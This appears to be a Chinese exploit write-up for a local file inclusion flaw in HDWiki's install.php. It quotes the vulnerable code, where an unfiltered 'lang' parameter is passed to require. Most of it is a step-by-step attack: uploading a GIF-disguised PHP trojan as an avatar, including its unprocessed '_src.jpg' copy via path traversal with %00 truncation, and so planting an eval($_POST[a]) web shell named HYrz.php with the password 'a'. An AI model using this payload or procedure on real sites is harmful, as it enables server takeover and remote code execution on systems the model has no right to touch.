漏洞文件:\install\install.php
关键代码:
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define('IN_HDWIKI', TRUE);
define('HDWIKI_ROOT', '../');
$lang_name=$_COOKIE['lang_name'];/*lang_name没有经过任何过滤,直接从Cookies里存入lang_name*/
if(isset($_REQUEST['lang'])){ /*
检测该变量是否设置,否则进入程序体
*/
$lang_name = $_REQUEST['lang']; /*Get方式获取Lang值并没有过滤直接放进lang_name.上面的Cookies取值部分忽略他吧.*/
setcookie('lang_name',$lang_name);
}
if(!$lang_name){ /*不为空就绕过了,否则lang_name被初始化*/
$lang_name='zh';
}
require HDWIKI_ROOT."/lang/$lang_name/install.php"; /*简单的绕过,OK~完整的包含了.%00截断掉后面,要不会出错.*/
require HDWIKI_ROOT.'/version.php';
require HDWIKI_ROOT.'/model/base.class.php';
分析:
从源码上看确实存在问题,我们只要上传一张图片木马就可以正常包含了.但问题出来了,HDWiKi在上传的时候会对图片进行处理,直接上传图片格式的PHP木马是不行的,Copy绑捆一张图片和木马也行不通,在我调试的时候发现,上传上去的图片木马里的内容全部都被处理掉了.根本无法包含.但是在图片处理这部分,程序首先判断文件头是否为图片格式,大概确定后,程序并不会傻的直接传到服务器上,而是对图片进行下步处理.这就是为什么图片木马传上去后,用记事本打开后并没发现你的PHP代码.但是他们的上传模块出了一个严重的缺陷,程序在处理图片的时候,并且在远程服务器上存放这张图片的原始文件.并且里面的PHP代码没有被他们所处理.这样只要包含这个原始文件,就可以顺利的拿到Shell.
利用过程:
1.在HDWiKi用户的站注册一个用户.
2.在个人管理里面上传一张图片木马.内容如下:
---------------------------------------------------------------------------
gif89a
<?
$fp = @fopen("HYrz.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[a])'."\r\n\r\n?".">\r\n");
@fclose($fp);
?>
-----------------------------------------------------------------------------------------
3.右键获取上传图像地址.如:http://localhost/uploads/userface/2/2.jpg?0.8622666412804486 我们只要http://localhost/uploads/userface/2/2.jpg就行了.
虽然获取到了地址,但文件并不存在.我们把2.jpg修为为2_src.jpg.如:http://localhost/uploads/userface/2/2_src.jpg.
4.访问:http://localhost/install/install.php?lang=../uploads/userface/2/2_src.jpg%00 /*注意:这里和上面的2是要根据实际情况而定.如果是http://localhost/uploads/userface/5/5_src.jpg,那就访问:http://localhost/install/install.php?lang=../uploads/userface/5/5_src.jpg%00 */
5.一句话连接:http://localhost/install/HYrz.php 密码:a
测试环境:
Web Server:Winxp+Apache 2.2.15
allow_url_fopen On On
allow_url_include Off Off
magic_quotes_gpc Off Off
From: HYrz